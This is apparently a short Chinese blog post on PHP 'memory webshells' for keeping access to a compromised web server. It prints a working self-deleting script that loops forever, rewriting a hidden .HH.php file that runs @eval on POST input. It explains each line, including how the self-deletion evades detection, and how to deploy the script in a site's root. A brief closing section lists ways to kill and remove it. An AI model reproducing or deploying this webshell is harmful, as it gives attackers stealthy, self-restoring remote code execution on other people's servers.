php内存马

web权限维持

介绍

webshell内存马是把木马和后门写在内存中 然后去执行 达到webshell

可以加强攻击的隐蔽性和排查难度

php内存马

<?php

ignore_user_abort(true);

set_time_limit(0);

@unlink(__FILE__);

$file = '.HH.php';

$code = '<?php @eval($_POST[\'c\']); ?>';

while (1){

file_put_contents($file,$code);

usleep(5000);

}

?>
  1. ignore_user_abort(true);

    这条语句的作用是告诉PHP,即使客户端(如浏览器)中断了连接,脚本也应该继续执行。这通常用于需要长时间运行且不需要用户持续交互的脚本。

  2. set_time_limit(0);

    通过设置脚本执行时间为0,这告诉PHP取消脚本执行时间的限制。这意味着脚本可以无限期地运行,直到被外部干预(如服务器配置限制、系统资源耗尽等)停止。

  3. @unlink(__FILE__);

    这条语句尝试删除当前正在执行的PHP文件。@符号是PHP的错误控制运算符,它会抑制错误消息的显示。防文件落地被查杀

  4. 脚本进入一个无限循环,不断使用file_put_contents函数将一段包含eval($_POST['c']);的PHP代码写入(或覆盖).HH.php文件。

  5. usleep(5000);

    在每次写入文件后,脚本会暂停5000微秒(即5毫秒)。这是为了避免因为连续写入操作过快而导致的资源耗尽或其他问题。

将内存马写入网站根目录shell.php 访问执行

image-20240912152832339

shell.php消失 .HH.php出现

且将浏览器关掉以后 删除.HH.php会不断重新生成.HH.php

删除办法

1.结束进程再删除

2.写脚本和它竞争,在每次创建的时候把它删除

3.强行kill后台进程 ps aux|grep www-data|awk '{print 2}'| xargs kill -9

image-20240912153327416

小p停掉Nginx后再删就行